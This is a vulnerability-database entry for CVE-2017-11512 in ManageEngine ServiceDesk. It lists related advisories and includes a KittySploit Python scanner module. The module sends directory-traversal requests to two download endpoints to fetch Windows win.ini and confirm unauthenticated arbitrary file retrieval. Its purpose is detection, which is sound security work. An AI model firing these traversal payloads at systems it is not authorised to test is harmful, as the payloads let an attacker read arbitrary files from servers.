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ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 7 Views

Unauthenticated remote arbitrary file retrieval in ManageEngine ServiceDesk via name parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2017-11512
8 Nov 201700:00
–attackerkb
cnvd
CNVD
ManageEngine ServiceDesk Arbitrary File Download Vulnerability
9 Nov 201700:00
–cnvd
checkpoint_advisories
Check Point Advisories
ManageEngine ServiceDesk DownloadSnapshotServlet Directory Traversal (CVE-2017-11512)
14 May 201800:00
–checkpoint_advisories
cve
CVE
CVE-2017-11512
8 Nov 201722:00
–cve
cvelist
Cvelist
CVE-2017-11512
8 Nov 201722:00
–cvelist
nuclei
Nuclei
ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2017-11512
8 Nov 201722:29
–nvd
openvas
OpenVAS
ManageEngine ServiceDesk Plus Multiple Vulnerabilities (Nov 2017) - Active Check
9 Nov 201700:00
–openvas
osv_cve
osv_cve
CVE-2017-11512
8 Nov 201722:29
–osv_cve
prion
Prion
Design/Logic Flaw
8 Nov 201722:29
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ManageEngine ServiceDesk 9."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval Detection',
        'description': 'ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'manageengine', 'lfr', 'unauth', 'tenable', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html',
            'https://www.tenable.com/security/research/tra-2017-31',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-11512',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2017-11512',
    }

    def run(self):
        for path in ('/fosagent/repl/download-file?basedir=4&filepath=..\\..\\Windows\\win.ini', '/fosagent/repl/download-snapshot?name=..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_all = ('bit app support', 'fonts', 'extensions',)
            if (all(m in body for m in body_all)):
                self.set_info(
                    severity='high',
                    reason="ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval detected",
                    path=path,
                )
                return True
        return False

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28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 37.5
EPSS0.79604
7